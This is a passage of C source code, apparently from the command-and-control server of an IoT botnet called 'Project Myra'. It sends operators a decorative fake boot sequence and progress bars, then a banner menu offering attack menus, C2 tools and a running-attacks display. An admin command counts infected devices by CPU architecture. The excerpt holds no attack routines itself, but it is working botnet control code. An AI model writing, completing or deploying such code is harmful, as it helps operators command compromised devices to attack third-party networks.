1539 if(send(clear_myra_broadcast, verbose_boot_05, strlen(verbose_boot_05), MSG_NOSIGNAL) == -1) goto finish_integer;
1540 usleep(50000);
1541 if(send(clear_myra_broadcast, verbose_boot_06, strlen(verbose_boot_06), MSG_NOSIGNAL) == -1) goto finish_integer;
1542 usleep(50000);
1543 if(send(clear_myra_broadcast, verbose_boot_07, strlen(verbose_boot_07), MSG_NOSIGNAL) == -1) goto finish_integer;
1544 usleep(50000);
1545 if(send(clear_myra_broadcast, verbose_boot_08, strlen(verbose_boot_08), MSG_NOSIGNAL) == -1) goto finish_integer;
1546 usleep(50000);
1547 if(send(clear_myra_broadcast, verbose_boot_09, strlen(verbose_boot_09), MSG_NOSIGNAL) == -1) goto finish_integer;
1548 usleep(50000);
1549 if(send(clear_myra_broadcast, verbose_boot_10, strlen(verbose_boot_10), MSG_NOSIGNAL) == -1) goto finish_integer;
1550 usleep(50000);
1551 if(send(clear_myra_broadcast, verbose_boot_11, strlen(verbose_boot_11), MSG_NOSIGNAL) == -1) goto finish_integer;
1552 usleep(50000);
1553 if(send(clear_myra_broadcast, verbose_boot_12, strlen(verbose_boot_12), MSG_NOSIGNAL) == -1) goto finish_integer;
1554 usleep(50000);
1555 if(send(clear_myra_broadcast, verbose_boot_13, strlen(verbose_boot_13), MSG_NOSIGNAL) == -1) goto finish_integer;
1556 usleep(50000);
1557 if(send(clear_myra_broadcast, verbose_boot_14, strlen(verbose_boot_14), MSG_NOSIGNAL) == -1) goto finish_integer;
1558 usleep(50000);
1559 if(send(clear_myra_broadcast, verbose_boot_15, strlen(verbose_boot_15), MSG_NOSIGNAL) == -1) goto finish_integer;
1560 usleep(50000);
1561 if(send(clear_myra_broadcast, verbose_boot_16, strlen(verbose_boot_16), MSG_NOSIGNAL) == -1) goto finish_integer;
1562 usleep(50000);
1563 if(send(clear_myra_broadcast, verbose_boot_17, strlen(verbose_boot_17), MSG_NOSIGNAL) == -1) goto finish_integer;
1564 usleep(50000);
1565 if(send(clear_myra_broadcast, verbose_boot_18, strlen(verbose_boot_18), MSG_NOSIGNAL) == -1) goto finish_integer;
1566 usleep(50000);
1567 if(send(clear_myra_broadcast, verbose_boot_19, strlen(verbose_boot_19), MSG_NOSIGNAL) == -1) goto finish_integer;
1568 usleep(50000);
1569 if(send(clear_myra_broadcast, verbose_boot_20, strlen(verbose_boot_20), MSG_NOSIGNAL) == -1) goto finish_integer;
1570 //char substrate_boot2 [5000];
1571 //for (i = 0; i < 100000; i++){
1572 // sprintf(substrate_boot2, "\r\e[38;5;134mChecking Dependencies..\e[38;5;134m [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1573 // fflush(stdout);
1574 // if(send(clear_myra_broadcast, substrate_boot2, strlen(substrate_boot2), MSG_NOSIGNAL) == -1) goto finish_integer;
1575 //}
1576 char new_line2 [500];
1577 char verbose_boot_21 [500];
1578 char verbose_boot_22 [500];
1579 char verbose_boot_23 [500];
1580 char verbose_boot_24 [500];
1581 char verbose_boot_25 [500];
1582 char verbose_boot_26 [500];
1583 char verbose_boot_27 [500];
1584 char verbose_boot_28 [500];
1585 char verbose_boot_29 [500];
1586 char verbose_boot_30 [500];
1587 char verbose_boot_31 [500];
1588 char verbose_boot_32 [500];
1589 char verbose_boot_33 [500];
1590 char verbose_boot_34 [500];
1591 char verbose_boot_35 [500];
1592 char verbose_boot_36 [500];
1593 char verbose_boot_37 [500];
1594 char verbose_boot_38 [500];
1595 char verbose_boot_39 [500];
1596 char verbose_boot_40 [500];
1597 char verbose_boot_41 [500];
1598 sprintf(new_line2, "\r\n");
1599 sprintf(verbose_boot_21, "\e[97mDependencies have been \e[92mrevised\e[97m..\r\n");
1600 sprintf(verbose_boot_22, "\e[92mReinitiating presets\e[97m.. \r\n");
1601 sprintf(verbose_boot_23, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mmyra/\e[95mcipher/\e[95mencryption/\e[95mK_LOGIN \e[97m: [\e[92mAccepted\e[91m!\e[97m]\r\n");
1602 sprintf(verbose_boot_24, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mmyra/\e[95mrsa/\e[95mhash_sets/\e[95mmasking_sck \e[97m: [\e[92mAccepted\e[91m!\e[97m]\r\n");
1603 sprintf(verbose_boot_25, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mmyra/\e[95mlogins/\e[95muser/\e[95mtoken_udid_b4 \e[97m: [\e[92mAccepted\e[91m!\e[97m]\r\n");
1604 sprintf(verbose_boot_26, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mmyra/\e[95mc2/\e[95mnetwork/\e[95mepoll_event/\e[95mv4 \e[97m: [\e[92mAccepted\e[91m!\e[97m]\r\n");
1605 sprintf(verbose_boot_27, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mmyra/\e[95mbackup/\e[95mmetadata/\e[95mmemry_reg \e[97m: [\e[92mAccepted\e[91m!\e[97m]\r\n");
1606 sprintf(verbose_boot_28, "\e[97mSetting /\e[95mvar/\e[95menumerate/\e[97mcompression/\e[95mversion_5 : [Failed!]\r\n");
1607 sprintf(verbose_boot_29, "\e[97mMyra's \e[95mmemory\e[97m_\e[95mreg \e[91misn't working! Uh oh !\r\n");
1608 sprintf(verbose_boot_30, "\e[92mDetecting Myra-Build\e[97m..\r\n");
1609 sprintf(verbose_boot_31, "\e[96mResetting\e[97m..\r\n");
1610 sprintf(verbose_boot_32, "\e[91mReset has failed\e[97m..\r\n");
1611 sprintf(verbose_boot_33, "\e[97mDynamically setting new \e[95mbuffer\e[97m..\r\n");
1612 sprintf(verbose_boot_34, "\e[97mChecking \e[92mreflector directories\e[97m, We should be all \e[95mgood to go \e[97m!\r\n");
1613 sprintf(verbose_boot_35, "\e[97mLogging \e[91muser data \e[97mvia \e[95mmach\e[97m_\e[95mswap\e[97m.. \e[91mHopefully this doesn't crash\e[97m..\r\n");
1614 sprintf(verbose_boot_36, "\e[91mSubstrate is detecting too much software interruptions\e[97m..\r\n");
1615 sprintf(verbose_boot_37, "\e[97mDecreasing \e[92mencryption\e[97m_\e[92mrounds\e[97m..\r\n");
1616 sprintf(verbose_boot_38, "\e[97mExceeding \e[91mCPU limitation\e[97m, \e[91mManually setting presets\e[97m..\r\n");
1617 sprintf(verbose_boot_39, "\e[93mLoading device payloads\e[97m..\r\n");
1618 sprintf(verbose_boot_40, "\e[97mDevice payloads set \e[92msuccessfully\e[97m..\r\n");
1619 sprintf(verbose_boot_41, "\e[97mSwapping \e[96mmemory registers\e[97m..\r\n");
1620 if(send(clear_myra_broadcast, new_line2, strlen(new_line2), MSG_NOSIGNAL) == -1) goto finish_integer;
1621 usleep(50000);
1622 if(send(clear_myra_broadcast, verbose_boot_21, strlen(verbose_boot_21), MSG_NOSIGNAL) == -1) goto finish_integer;
1623 usleep(50000);
1624 if(send(clear_myra_broadcast, verbose_boot_22, strlen(verbose_boot_22), MSG_NOSIGNAL) == -1) goto finish_integer;
1625 usleep(50000);
1626 if(send(clear_myra_broadcast, verbose_boot_23, strlen(verbose_boot_23), MSG_NOSIGNAL) == -1) goto finish_integer;
1627 usleep(50000);
1628 if(send(clear_myra_broadcast, verbose_boot_24, strlen(verbose_boot_24), MSG_NOSIGNAL) == -1) goto finish_integer;
1629 usleep(50000);
1630 if(send(clear_myra_broadcast, verbose_boot_25, strlen(verbose_boot_25), MSG_NOSIGNAL) == -1) goto finish_integer;
1631 usleep(50000);
1632 if(send(clear_myra_broadcast, verbose_boot_26, strlen(verbose_boot_26), MSG_NOSIGNAL) == -1) goto finish_integer;
1633 usleep(50000);
1634 if(send(clear_myra_broadcast, verbose_boot_27, strlen(verbose_boot_27), MSG_NOSIGNAL) == -1) goto finish_integer;
1635 usleep(50000);
1636 if(send(clear_myra_broadcast, verbose_boot_28, strlen(verbose_boot_28), MSG_NOSIGNAL) == -1) goto finish_integer;
1637 usleep(50000);
1638 if(send(clear_myra_broadcast, verbose_boot_29, strlen(verbose_boot_29), MSG_NOSIGNAL) == -1) goto finish_integer;
1639 usleep(50000);
1640 if(send(clear_myra_broadcast, verbose_boot_30, strlen(verbose_boot_30), MSG_NOSIGNAL) == -1) goto finish_integer;
1641 usleep(50000);
1642 if(send(clear_myra_broadcast, verbose_boot_31, strlen(verbose_boot_31), MSG_NOSIGNAL) == -1) goto finish_integer;
1643 usleep(50000);
1644 if(send(clear_myra_broadcast, verbose_boot_32, strlen(verbose_boot_32), MSG_NOSIGNAL) == -1) goto finish_integer;
1645 usleep(50000);
1646 if(send(clear_myra_broadcast, verbose_boot_33, strlen(verbose_boot_33), MSG_NOSIGNAL) == -1) goto finish_integer;
1647 usleep(50000);
1648 if(send(clear_myra_broadcast, verbose_boot_34, strlen(verbose_boot_34), MSG_NOSIGNAL) == -1) goto finish_integer;
1649 usleep(50000);
1650 if(send(clear_myra_broadcast, verbose_boot_35, strlen(verbose_boot_35), MSG_NOSIGNAL) == -1) goto finish_integer;
1651 usleep(50000);
1652 if(send(clear_myra_broadcast, verbose_boot_36, strlen(verbose_boot_36), MSG_NOSIGNAL) == -1) goto finish_integer;
1653 usleep(50000);
1654 if(send(clear_myra_broadcast, verbose_boot_37, strlen(verbose_boot_37), MSG_NOSIGNAL) == -1) goto finish_integer;
1655 usleep(50000);
1656 if(send(clear_myra_broadcast, verbose_boot_38, strlen(verbose_boot_38), MSG_NOSIGNAL) == -1) goto finish_integer;
1657 usleep(50000);
1658 if(send(clear_myra_broadcast, verbose_boot_39, strlen(verbose_boot_39), MSG_NOSIGNAL) == -1) goto finish_integer;
1659 usleep(50000);
1660 if(send(clear_myra_broadcast, verbose_boot_40, strlen(verbose_boot_40), MSG_NOSIGNAL) == -1) goto finish_integer;
1661 usleep(50000);
1662 if(send(clear_myra_broadcast, verbose_boot_41, strlen(verbose_boot_41), MSG_NOSIGNAL) == -1) goto finish_integer;
1663 {
1664 char spaces[80];
1665
1666 /* Assume an 80-column screen */
1667 /* The 'progress: |' is 11 characters */
1668 /* There should be space for '| 100%' after it */
1669 /* So that's 17 characters overhead. */
1670 /* We'll use 60 characters for the bar (not using 3) */
1671
1672 memset(spaces, ' ', 60);
1673 spaces[60] = '\0';
1674
1675 int oldbar = 0;
1676 for (int i = 0; i <= 100; i++)
1677 {
1678 /* Length of bar = (i * 60) / 100 */
1679 int newbar = (i * 60) / 100;
1680 if (oldbar != newbar)
1681 spaces[newbar-1] = '=';
1682 char poop [500];
1683 sprintf(poop, "\r\e[97mHashme_\e[95mVI\e[92m: \e[97m[\e[91m%s\e[97m] %3d%%", spaces, i);
1684 oldbar = newbar;
1685 usleep(20000);
1686 if (send(clear_myra_broadcast, poop, strlen(poop), MSG_NOSIGNAL) == -1) goto finish_integer;
1687 }
1688 usleep(50000);
1689 }
1690 char new_line3 [500];
1691 char verbose_boot_42 [500];
1692 char verbose_boot_43 [500];
1693 char verbose_boot_44 [500];
1694 char verbose_boot_45 [500];
1695
1696 sprintf(new_line3, "\r\n");
1697 sprintf(verbose_boot_42, "\e[92mHashing has been executed ! \e[91mCannot write data anymore !\r\n");
1698 sprintf(verbose_boot_43, "\e[93mSaving metadata..\r\n");
1699 sprintf(verbose_boot_44, "\e[92mSaved \e[97m!\r\n");
1700 sprintf(verbose_boot_45, "\e[92mFinalising.. \e[95mEnumerating \e[96mMyra \e[91mV..\r\n");
1701 usleep(50000);
1702 if (send(clear_myra_broadcast, new_line3, strlen(new_line3), MSG_NOSIGNAL) == -1) goto finish_integer;
1703 if (send(clear_myra_broadcast, verbose_boot_42, strlen(verbose_boot_42), MSG_NOSIGNAL) == -1) goto finish_integer;
1704 usleep(50000);
1705 if (send(clear_myra_broadcast, verbose_boot_43, strlen(verbose_boot_43), MSG_NOSIGNAL) == -1) goto finish_integer;
1706 usleep(50000);
1707 if (send(clear_myra_broadcast, verbose_boot_44, strlen(verbose_boot_44), MSG_NOSIGNAL) == -1) goto finish_integer;
1708 usleep(50000);
1709 if (send(clear_myra_broadcast, verbose_boot_45, strlen(verbose_boot_45), MSG_NOSIGNAL) == -1) goto finish_integer;
1710 char new_line4 [500];
1711 sprintf(new_line4, "\r\n");
1712 if (send(clear_myra_broadcast, new_line4, strlen(new_line4), MSG_NOSIGNAL) == -1) goto finish_integer;
1713 {
1714 char spaces[80];
1715
1716 /* Assume an 80-column screen */
1717 /* The 'progress: |' is 11 characters */
1718 /* There should be space for '| 100%' after it */
1719 /* So that's 17 characters overhead. */
1720 /* We'll use 60 characters for the bar (not using 3) */
1721
1722 memset(spaces, ' ', 60);
1723 spaces[60] = '\0';
1724
1725 int oldbar = 0;
1726 for (int i = 0; i <= 100; i++)
1727 {
1728 /* Length of bar = (i * 60) / 100 */
1729 int newbar = (i * 60) / 100;
1730 if (oldbar != newbar)
1731 spaces[newbar-1] = '=';
1732 char poop [500];
1733 sprintf(poop, "\r\e[97mpreset_mdss\e[92m: \e[97m[\e[91m%s\e[97m] %3d%%", spaces, i);
1734 oldbar = newbar;
1735 usleep(20000);
1736 if (send(clear_myra_broadcast, poop, strlen(poop), MSG_NOSIGNAL) == -1) goto finish_integer;
1737 }
1738 usleep(50000);
1739 }
1740 char new_line5 [500];
1741 sprintf(new_line5, "\r\n");
1742 if (send(clear_myra_broadcast, new_line5, strlen(new_line5), MSG_NOSIGNAL) == -1) goto finish_integer;
1743 char verbose_boot_46 [500];
1744 sprintf(verbose_boot_46, "\e[92mFinalising.. \e[96mEnumeration in \e[91mprocess\e[97m..\r\n");
1745 if (send(clear_myra_broadcast, verbose_boot_46, strlen(verbose_boot_46), MSG_NOSIGNAL) == -1) goto finish_integer;
1746 {
1747 char spaces[80];
1748
1749 /* Assume an 80-column screen */
1750 /* The 'progress: |' is 11 characters */
1751 /* There should be space for '| 100%' after it */
1752 /* So that's 17 characters overhead. */
1753 /* We'll use 60 characters for the bar (not using 3) */
1754
1755 memset(spaces, ' ', 60);
1756 spaces[60] = '\0';
1757
1758 int oldbar = 0;
1759 for (int i = 0; i <= 100; i++)
1760 {
1761 /* Length of bar = (i * 60) / 100 */
1762 int newbar = (i * 60) / 100;
1763 if (oldbar != newbar)
1764 spaces[newbar-1] = '=';
1765 char poop [500];
1766 sprintf(poop, "\r\e[97mEnumerating\e[92m: \e[97m[\e[91m%s\e[97m] %3d%%", spaces, i);
1767 oldbar = newbar;
1768 usleep(20000);
1769 if (send(clear_myra_broadcast, poop, strlen(poop), MSG_NOSIGNAL) == -1) goto finish_integer;
1770 }
1771 usleep(50000);
1772 } /* Finalising Login System. */
1773 //char new_line6 [500];
1774 //sprintf(new_line6, "\r\n");
1775 //if (send(clear_myra_broadcast, new_line6, strlen(new_line6), MSG_NOSIGNAL) == -1) goto finish_integer;
1776 //char substrate_boot3 [5000];
1777 //for (i = 0; i < 100000; i++){
1778 // sprintf(substrate_boot3, "\r\e[38;5;134mAllocating Resources..\e[38;5;134m [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1779 // fflush(stdout);
1780 // if(send(clear_myra_broadcast, substrate_boot3, strlen(substrate_boot3), MSG_NOSIGNAL) == -1) goto finish_integer;
1781 //}
1782 //char new_line7 [500];
1783 //sprintf(new_line7, "\r\n");
1784 //if (send(clear_myra_broadcast, new_line7, strlen(new_line7), MSG_NOSIGNAL) == -1) goto finish_integer;
1785 //char substrate_boot4 [5000];
1786 //for (i = 0; i < 100000; i++){
1787 // sprintf(substrate_boot4, "\r\e[38;5;134mOverwriting Modular Dependencies.. \e[38;5;134m [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1788 // fflush(stdout);
1789 // if(send(clear_myra_broadcast, substrate_boot4, strlen(substrate_boot4), MSG_NOSIGNAL) == -1) goto finish_integer;
1790 //}
1791 //char new_line8 [500];
1792 //sprintf(new_line8, "\r\n");
1793 //if (send(clear_myra_broadcast, new_line8, strlen(new_line8), MSG_NOSIGNAL) == -1) goto finish_integer;
1794 //char substrate_boot5 [5000];
1795 //for (i = 0; i < 100000; i++){
1796 // sprintf(substrate_boot5, "\r\e[38;5;134mRemoving Older Modules.. Cleaning Up Filesystem..\e[38;5;134m [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1797 // fflush(stdout);
1798 // if(send(clear_myra_broadcast, substrate_boot5, strlen(substrate_boot5), MSG_NOSIGNAL) == -1) goto finish_integer;
1799 //}
1800 //char new_line9 [500];
1801 //sprintf(new_line9, "\r\n");
1802 //if (send(clear_myra_broadcast, new_line9, strlen(new_line9), MSG_NOSIGNAL) == -1) goto finish_integer;
1803 //char substrate_boot6 [5000];
1804 //for (i = 0; i < 100000; i++){
1805 // sprintf(substrate_boot6, "\r\e[38;5;134mRestoring Substrate..\e[38;5;134m [\e[38;5;168m%d%\e[38;5;134m]", i/1000);
1806 // fflush(stdout);
1807 // if(send(clear_myra_broadcast, substrate_boot6, strlen(substrate_boot6), MSG_NOSIGNAL) == -1) goto finish_integer;
1808 //}
1809 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1810 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1811 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1812 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1813 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1814 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1815 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1816 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1817 //sprintf(verbose_boot_21, "\e[38;5;134mDependencies have been revised..\r\n");
1818
1819 char showme [500];
1820 char main01 [500];
1821 char main02 [500];
1822 char main03 [500];
1823 char main04 [500];
1824 char main05 [500];
1825 char main06 [500];
1826 char main07 [500];
1827 char main08 [500];
1828 char main09 [500];
1829 char main10 [500];
1830 char main11 [500];
1831 char main12 [500];
1832 char main13 [500];
1833 char main14 [500];
1834 char main15 [500];
1835 char main16 [500];
1836 char main17 [500];
1837 char main18 [500];
1838 char main19 [500];
1839 char main20 [500];
1840 char main21 [500];
1841 char main22 [500];
1842 char main23 [500];
1843 sprintf(showme, "\e[?25h");
1844 sprintf(main01, "\e[38;5;225m╔═══════════════════════════════╗╔══════════════════════════════════╗╔═════════╗\r\n");
1845 sprintf(main02, "\e[38;5;225m║ \e[38;5;168mProject Myra \e[38;5;134mV\e[38;5;225m. ║║ \e[38;5;168mWelcome To The \e[38;5;134mMyra Initiative\e[38;5;225m. ║║ \e[38;5;168mV\e[38;5;225m. \e[38;5;168m50\e[38;5;225m. ║\r\n");
1846 sprintf(main03, "\e[38;5;225m║ \e[38;5;168mPrivate \e[38;5;134mDeveloper's Edition\e[38;5;225m. ║╚══════════════════════════════════╝╚═════════╝\r\n");
1847 sprintf(main04, "\e[38;5;225m║ \e[38;5;168mBuild \e[38;5;134m50\e[38;5;225m. ║╔═════════════════════════════════════════════╗\r\n");
1848 sprintf(main05, "\e[38;5;225m╚═══════════════════════════════╝║ \e[38;5;134mTransmissional\e[38;5;225m. \e[38;5;134mCapabilities Exceed\e[38;5;225m. ║\r\n");
1849 sprintf(main06, "\e[38;5;225m╔═══════════════════════════════╗║ \e[38;5;134mTill We Fall\e[38;5;225m. ║\r\n");
1850 sprintf(main07, "\e[38;5;225m║ \e[38;5;168mSubstrate \e[38;5;134mV\e[38;5;225m.......\e[38;5;168m: \e[38;5;134mActive \e[38;5;225m! \e[38;5;225m║║ \e[38;5;134mXVII\e[38;5;225m. ║\r\n");
1851 sprintf(main08, "\e[38;5;225m║ \e[38;5;168mHyperpower \e[38;5;134mIV\e[38;5;225m.....\e[38;5;168m: \e[38;5;134mActive \e[38;5;225m! \e[38;5;225m║╚═════════════════════════════════════════════╝\r\n");
1852 sprintf(main09, "\e[38;5;225m║ \e[38;5;168mHashme \e[38;5;134mII\e[38;5;225m.........\e[38;5;168m: \e[38;5;134mActive \e[38;5;225m! \e[38;5;225m║ ╔══════════════════════╗\r\n");
1853 sprintf(main10, "\e[38;5;225m╚═══════════════════════════════╝╔═════════════════════╗╚══════════════════════╝\r\n");
1854 sprintf(main11, "\e[38;5;225m╔════════════════════════════════╝ ║╔══════════════════════╗\r\n");
1855 sprintf(main12, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mhelp \e[38;5;225m- \e[38;5;168mDisplays Full Command List\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mSTATE\e[38;5;225m.......\e[38;5;168m: \e[38;5;134mPRIV \e[38;5;225m║\r\n");
1856 sprintf(main13, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mipmi \e[38;5;225m- \e[38;5;168mDisplays Attack Menu I\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mHYPERPOWER\e[38;5;225m..\e[38;5;168m: \e[38;5;134mIII \e[38;5;225m║\r\n");
1857 sprintf(main14, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168miphm \e[38;5;225m- \e[38;5;168mDisplays Attack Menu II\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mVERSION\e[38;5;225m.....\e[38;5;168m: \e[38;5;134m50 \e[38;5;225m║\r\n");
1858 sprintf(main15, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mtools \e[38;5;225m- \e[38;5;168mLists Available C2 Tools\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mSCKET_INT\e[38;5;225m...\e[38;5;168m: \e[38;5;134m4 \e[38;5;225m║\r\n");
1859 sprintf(main16, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mclear \e[38;5;225m- \e[38;5;168mClears C2 Screen\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mSUBSTRATE\e[38;5;225m...\e[38;5;168m: \e[38;5;134mV \e[38;5;225m║\r\n");
1860 sprintf(main17, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mstatus \e[38;5;225m- \e[38;5;168mShows Network Status\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mDESC\e[38;5;225m........\e[38;5;168m: \e[38;5;134mC2XSUB \e[38;5;225m║\r\n");
1861 sprintf(main18, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mattacks \e[38;5;225m- \e[38;5;168mDisplays Running Attacks\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mALGORITHM\e[38;5;225m...\e[38;5;168m: \e[38;5;134mAES256 \e[38;5;225m║\r\n");
1862 sprintf(main19, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mhashme \e[38;5;225m- \e[38;5;168mRandomises Hashing Algorithm\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mPRJ-VAS\e[38;5;225m.....\e[38;5;168m: \e[38;5;134m44-XX \e[38;5;225m║\r\n");
1863 sprintf(main20, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mlogout \e[38;5;225m- \e[38;5;168mLog Out Of The Network Securely\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mCCR-VSS\e[38;5;225m.....\e[38;5;168m: \e[38;5;134m84XXX \e[38;5;225m║\r\n");
1864 sprintf(main21, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mhyper \e[38;5;225m- \e[38;5;168mReinitialises Attack via Hyperpower\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mDATA_TRMIT\e[38;5;225m..\e[38;5;168m: \e[38;5;134mACTIVE \e[38;5;225m║\r\n");
1865 sprintf(main22, "\e[38;5;225m║ \e[38;5;134m.\e[38;5;168mcreds \e[38;5;225m- \e[38;5;168mDisplays Developers / Special Thanks\e[38;5;134m. \e[38;5;225m║║ \e[38;5;168mSRVER_ON\e[38;5;225m....\e[38;5;168m: \e[38;5;134m2 \e[38;5;225m║\r\n");
1866 sprintf(main23, "\e[38;5;225m╚══════════════════════════════════════════════════════╝╚══════════════════════╝\r\n");
1867 if (send(clear_myra_broadcast, "\033[1A\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto finish_integer;
1868 if (send(clear_myra_broadcast, showme, strlen(showme), MSG_NOSIGNAL) == -1) goto finish_integer;
1869 if(send(clear_myra_broadcast, main01, strlen(main01), MSG_NOSIGNAL) == -1) goto finish_integer;
1870 if(send(clear_myra_broadcast, main02, strlen(main02), MSG_NOSIGNAL) == -1) goto finish_integer;
1871 if(send(clear_myra_broadcast, main03, strlen(main03), MSG_NOSIGNAL) == -1) goto finish_integer;
1872 if(send(clear_myra_broadcast, main04, strlen(main04), MSG_NOSIGNAL) == -1) goto finish_integer;
1873 if(send(clear_myra_broadcast, main05, strlen(main05), MSG_NOSIGNAL) == -1) goto finish_integer;
1874 if(send(clear_myra_broadcast, main06, strlen(main06), MSG_NOSIGNAL) == -1) goto finish_integer;
1875 if(send(clear_myra_broadcast, main07, strlen(main07), MSG_NOSIGNAL) == -1) goto finish_integer;
1876 if(send(clear_myra_broadcast, main08, strlen(main08), MSG_NOSIGNAL) == -1) goto finish_integer;
1877 if(send(clear_myra_broadcast, main09, strlen(main09), MSG_NOSIGNAL) == -1) goto finish_integer;
1878 if(send(clear_myra_broadcast, main10, strlen(main10), MSG_NOSIGNAL) == -1) goto finish_integer;
1879 if(send(clear_myra_broadcast, main11, strlen(main11), MSG_NOSIGNAL) == -1) goto finish_integer;
1880 if(send(clear_myra_broadcast, main12, strlen(main12), MSG_NOSIGNAL) == -1) goto finish_integer;
1881 if(send(clear_myra_broadcast, main13, strlen(main13), MSG_NOSIGNAL) == -1) goto finish_integer;
1882 if(send(clear_myra_broadcast, main14, strlen(main14), MSG_NOSIGNAL) == -1) goto finish_integer;
1883 if(send(clear_myra_broadcast, main15, strlen(main15), MSG_NOSIGNAL) == -1) goto finish_integer;
1884 if(send(clear_myra_broadcast, main16, strlen(main16), MSG_NOSIGNAL) == -1) goto finish_integer;
1885 if(send(clear_myra_broadcast, main17, strlen(main17), MSG_NOSIGNAL) == -1) goto finish_integer;
1886 if(send(clear_myra_broadcast, main18, strlen(main18), MSG_NOSIGNAL) == -1) goto finish_integer;
1887 if(send(clear_myra_broadcast, main19, strlen(main19), MSG_NOSIGNAL) == -1) goto finish_integer;
1888 if(send(clear_myra_broadcast, main20, strlen(main20), MSG_NOSIGNAL) == -1) goto finish_integer;
1889 if(send(clear_myra_broadcast, main21, strlen(main21), MSG_NOSIGNAL) == -1) goto finish_integer;
1890 if(send(clear_myra_broadcast, main22, strlen(main22), MSG_NOSIGNAL) == -1) goto finish_integer;
1891 if(send(clear_myra_broadcast, main23, strlen(main23), MSG_NOSIGNAL) == -1) goto finish_integer;
1892 while(1)
1893 { // We are Displaying Attempting to display main banner!
1894 sprintf(myra, "\e[38;5;134m[\e[38;5;225m%s\e[38;5;134m@\e[38;5;168mMyra\e[38;5;134m]\e[38;5;154m$\e[38;5;168m ", accounts[find_line].username, myra_buffer_size); // We are Displaying Attempting to display main banner!
1895 if(send(clear_myra_broadcast, myra, strlen(myra), MSG_NOSIGNAL) == -1) goto finish_integer; // We are Displaying Attempting to display main banner!
1896 break; // World Break!
1897 } // We are Displaying Attempting to display main banner!
1898 //TESTICLESpthread_create(&title, NULL, &myra_title_creator, sock); // We are Displaying Attempting to display main banner!
1899 managements[clear_myra_broadcast].transmitted_successfully = 1; // We are Displaying Attempting to display main banner!
1900
1901 while(buffer_size_string_compare(myra_buffer_size, sizeof myra_buffer_size, clear_myra_broadcast) > 0) // Buffer Size, Stated Less Than 0, This Allows Consistent Connection
1902 {
1903 if (strstr(myra_buffer_size, ".fishy")) // Output For Command - '.bots'
1904 {
1905 if(strcmp(Admin, accounts[find_line].identification_type) == 0) // Check If User Is Admin
1906 {
1907 char total_output[128]; // Char Every Line For Output Communication -- 128 byte
1908 char mips[128]; // Char Every Line For Output Communication
1909 char sh4[128]; // Char Every Line For Output Communication
1910 char arm[128]; // Char Every Line For Output Communication
1911 char ppc[128]; // Char Every Line For Output Communication
1912 char x86[128]; // Char Every Line For Output Communication
1913 char spc[128]; // Char Every Line For Output Communication
1914 char bot_1 [5000]; // Char Every Line For Output Communication
1915 char bot_2 [5000]; // Char Every Line For Output Communication
1916 char bot_3 [5000]; // Char Every Line For Output Communication
1917 char bot_4 [5000]; // Char Every Line For Output Communication
1918
1919 sprintf(bot_1, "\e[38;5;225m╔════════════════════════════════════════════╗\r\n"); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1920 sprintf(bot_2, "\e[38;5;225m║ \e[38;5;168mMyra I \e[38;5;225m- \e[38;5;168mDevice Listing \e[38;5;225m- \e[38;5;168mArch Detection \e[38;5;225m║\r\n"); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1921 sprintf(bot_3, "\e[38;5;225m╠════════════════════════════════════════════╣\r\n");
1922 sprintf(mips, "\e[38;5;225m║ \e[38;5;168mMips Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_mipsel_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1923 sprintf(arm, "\e[38;5;225m║ \e[38;5;168mArm Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_arm_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1924 sprintf(sh4, "\e[38;5;225m║ \e[38;5;168mSh4 Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_sh4_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
1925 sprintf(ppc, "\e[38;5;225m║ \e[38;5;168mPpc Devices: \e[38;5;225m%d \e[38;5;225m║\r\n", myra_ppc_connected()); // Display Menu - Device Count - [ARCH DETECTION BROKEN, THIS IS STILL IN BETA]
